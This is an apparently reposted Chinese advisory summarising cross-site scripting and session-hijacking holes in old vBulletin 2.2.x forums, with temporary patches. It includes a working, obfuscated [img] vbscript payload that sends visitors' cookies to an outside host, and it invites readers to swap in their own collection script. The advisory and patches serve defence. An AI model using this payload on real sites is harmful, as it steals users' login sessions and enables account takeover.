当前位置:首页 > 软件开发 > net
firefox

几个VBB的跨站脚本执行漏洞小结

: vbulletin支持在帖子中用户使用[img]/[/img]标记插入图象连接,但它未对标记中的内容做充分过滤,这可能导致攻击者在此标记的内容中放入脚本代码,当其他用户浏览相关此连接的时候,脚本将在用户的浏览器中执行。攻击者可能借此得到用户基于cookie的认证信息。 [code][img]vbscript:location.replace( chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+ chr(47)+chr(47)+chr(119)+chr(119)+chr(119)+ chr(46)+chr(105)+chr(103)+chr(110)+chr(105)+ chr(116)+chr(101)+chr(46)+chr(98)+chr(97)+ chr(114)+chr(114)+chr(121)+chr(115)+chr(119)+ chr(111)+chr(114)+chr(108)+chr(100)+chr(46)+ chr(110)+chr(101)+chr(116)+chr(47)+chr(116)+ chr(101)+chr(115)+chr(116)+chr(46)+chr(112)+ chr(104)+chr(112)+chr(63)+chr(99)+chr(61)+ escape(documents.cookie) )[/img][/code] 上面描述的ascii编码会自动转换为http://www.igngte.barrysworld.net/test.php?c=,可以把路径改为你收集脚本的位置。经过测试该问题除了存在于2.2.2和之前的版本,同时也存在于不是直接安装,而是由旧版本升级的2.2.3与2.2.4. nsfocus提供的临时解决办法: 暂时禁止img标签或者立刻升级 如果你不能立刻升级这里有另外一种解决办法: 在forum/admin/functions.php中找到 1. "stripbrsfromcode(\\5)", 替换为 //"stripbrsfromcode(\\5)", 2. function stripbrsfromcode($foundcode) { $foundcode = str_replace("\\\"","\"",$foundcode); return "代码:--------------------------------------------------------------------------------" . str_replace("", "", str_replace("", "", $foundcode) ) . "--------------------------------------------------------------------------------"; } 替换为 //function stripbrsfromcode($foundcode) { // $foundcode = str_replace("\\\"","\"",$foundcode); // return "代码:--------------------------------------------------------------------------------" . str_replace("", "", str_replace(" //>", "", $foundcode) ) . "--------------------------------------------------------------------------------";//} http://security.nsfocus.com/showquery.asp?bugid=2466该问题在相关连接已有描述,漏洞发现者提供临时解决方法,在vbulletin.com已经对该问题进行讨论,详细可见www.vbulletin.com/member。 session hijacking 登陆用户浏览论坛,连接会以http://somedomain/forum/showthread.php?s=1111111111111111111111111111111111111111&threadid=11111显示。由于暂时不了解情况,只能估计s=1111111111111111111111111111111111111111或者为cookies的hash,如果将url直接发给对方,有可能造成对方以你的id登陆,造成session hijacking 解决方法: 将以传递连接的时候使用http://somedomain/forum/showthread.php?threadid=11111,把中间的s=1111111111111111111111111111111111111111去掉,如果你是用php4.1.0以上版本可以在forum/admin/config.php的后面加入: if(!strstr("$_server[path_translated]", "$_server[document_root]")) { die(); } 如果是较低版本则加入: if(!strstr("$http_server_vars[path_translated]", "$http_server_vars[document_root]")) { die(); } 另外还有二次注册的css: 详细参阅 www.enter.3322.net/cgi-bin/list.cgi 这里提供两种解决方法: 1.禁止在相关位置输入cookie字样(该措施作用不大) 2.修改程序多个模板,把相关的功能暂时屏蔽或禁止(建议)

 ↓相关文章:
© 2006-2008 All Rights Reserved